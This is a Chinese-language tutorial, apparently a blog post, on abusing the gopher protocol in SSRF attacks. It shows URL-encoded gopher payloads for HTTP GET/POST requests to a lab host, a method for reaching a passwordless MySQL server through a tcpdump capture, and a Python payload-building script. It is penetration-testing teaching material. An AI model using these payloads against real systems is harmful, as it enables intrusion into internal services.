gopher协议的利用
字数 1241 2025-08-12 11:33:49

Gopher协议利用完全指南

1. Gopher协议概述

Gopher协议是一个古老且强大的协议,可以理解为HTTP协议的前身。它具有以下特点:

  • 可以实现多个数据包整合发送
  • 通过gopher协议可以攻击内网的FTP、Telnet、Redis、Memcache等服务
  • 可以进行GET、POST请求
  • 在SSRF漏洞利用中特别有用,尤其是当HTTP协议无法传递POST数据时

2. Gopher协议格式

基本格式:

gopher://<host>:<port>/<gopher-path>_<TCP数据流>

注意事项:

  • <port>默认为70
  • 发起多条请求时,每条要用回车换行(%0d%0a)隔开
  • 如果多个参数,参数之间的&也需要进行URL编码

3. 各语言对Gopher协议的支持情况

语言 支持情况
PHP --with-curlwrappers且php版本至少为5.3
Java 小于JDK1.7
Curl 低版本不支持
Perl 支持
ASP.NET 小于版本3

4. Gopher发送HTTP请求

4.1 GET请求示例

  1. 准备PHP代码:
<?php echo $_GET['name'];?>
  1. HTTP GET数据包:
GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2
  1. URL编码后:
%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a
  1. 转换为gopher命令:
curl gopher://10.211.55.2:80/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a

4.2 POST请求示例

  1. 准备PHP代码:
<?php echo $_POST['name'];?>
  1. POST请求必须包含以下内容:
  • POST方法声明
  • Host头
  • Content-Type头
  • Content-Length头
  • POST参数
  1. 转换为gopher命令:
curl gopher://10.211.55.2:80/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a

5. 利用Gopher协议进行SSRF攻击

5.1 攻击MySQL示例

前提条件:

  • MySQL无密码认证
  • 存在SSRF漏洞

工具推荐:

  • Gopherus - 包含常见应用的gopher数据包格式构造

5.1.1 本地MySQL无密码用户设置

CREATE USER 'Sch0lar'@'localhost';
GRANT USAGE ON *.* TO 'Sch0lar'@'localhost';
GRANT ALL ON *.* TO 'Sch0lar'@'localhost';

5.1.2 抓取MySQL通信数据包

  1. 使用tcpdump抓包:
tcpdump -i lo port 3306 -w mysql.pcapng
  1. 连接MySQL(注意禁用SSL):
mysql -u Sch0lar --ssl-mode=disabled
  1. 使用Wireshark分析mysql.pcapng数据包,追踪TCP流

5.1.3 生成Gopher数据流

使用Python脚本将原始数据转换为gopher格式:

import sys

def results(s):
    a=[s[i:i+2] for i in range(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_"+"".join(a)

if __name__=="__main__":
    s=sys.argv[1]
    print(results(s))

6. 注意事项

  1. MySQL抓包问题:

    • 高版本MySQL可能默认使用SSL安全连接模式
    • 连接时需要添加--ssl-mode=disabled参数禁用SSL
  2. 编码问题:

    • 所有数据必须进行URL编码
    • 每条命令结尾必须添加%0d%0a表示结束
  3. 工具使用:

    • 使用Gopherus等工具生成payload后,_后面的内容还需要进行URL编码
    • PHP接收到POST或GET请求数据时会自解码一次

7. 总结

Gopher协议在SSRF攻击中非常有用,特别是针对内网服务如Redis、MySQL等的攻击。掌握Gopher协议的使用方法,能够扩展SSRF的攻击面,提升渗透测试的能力。在实际应用中,需要注意不同语言对Gopher协议的支持情况,以及数据编码和格式的准确性。

Gopher协议利用完全指南 1. Gopher协议概述 Gopher协议是一个古老且强大的协议,可以理解为HTTP协议的前身。它具有以下特点: 可以实现多个数据包整合发送 通过gopher协议可以攻击内网的FTP、Telnet、Redis、Memcache等服务 可以进行GET、POST请求 在SSRF漏洞利用中特别有用,尤其是当HTTP协议无法传递POST数据时 2. Gopher协议格式 基本格式: 注意事项: <port> 默认为70 发起多条请求时,每条要用回车换行(%0d%0a)隔开 如果多个参数,参数之间的&也需要进行URL编码 3. 各语言对Gopher协议的支持情况 | 语言 | 支持情况 | |-----------|----------| | PHP | --with-curlwrappers且php版本至少为5.3 | | Java | 小于JDK1.7 | | Curl | 低版本不支持 | | Perl | 支持 | | ASP.NET | 小于版本3 | 4. Gopher发送HTTP请求 4.1 GET请求示例 准备PHP代码: HTTP GET数据包: URL编码后: 转换为gopher命令: 4.2 POST请求示例 准备PHP代码: POST请求必须包含以下内容: POST方法声明 Host头 Content-Type头 Content-Length头 POST参数 转换为gopher命令: 5. 利用Gopher协议进行SSRF攻击 5.1 攻击MySQL示例 前提条件: MySQL无密码认证 存在SSRF漏洞 工具推荐: Gopherus - 包含常见应用的gopher数据包格式构造 5.1.1 本地MySQL无密码用户设置 5.1.2 抓取MySQL通信数据包 使用tcpdump抓包: 连接MySQL(注意禁用SSL): 使用Wireshark分析mysql.pcapng数据包,追踪TCP流 5.1.3 生成Gopher数据流 使用Python脚本将原始数据转换为gopher格式: 6. 注意事项 MySQL抓包问题: 高版本MySQL可能默认使用SSL安全连接模式 连接时需要添加 --ssl-mode=disabled 参数禁用SSL 编码问题: 所有数据必须进行URL编码 每条命令结尾必须添加 %0d%0a 表示结束 工具使用: 使用Gopherus等工具生成payload后, _ 后面的内容还需要进行URL编码 PHP接收到POST或GET请求数据时会自解码一次 7. 总结 Gopher协议在SSRF攻击中非常有用,特别是针对内网服务如Redis、MySQL等的攻击。掌握Gopher协议的使用方法,能够扩展SSRF的攻击面,提升渗透测试的能力。在实际应用中,需要注意不同语言对Gopher协议的支持情况,以及数据编码和格式的准确性。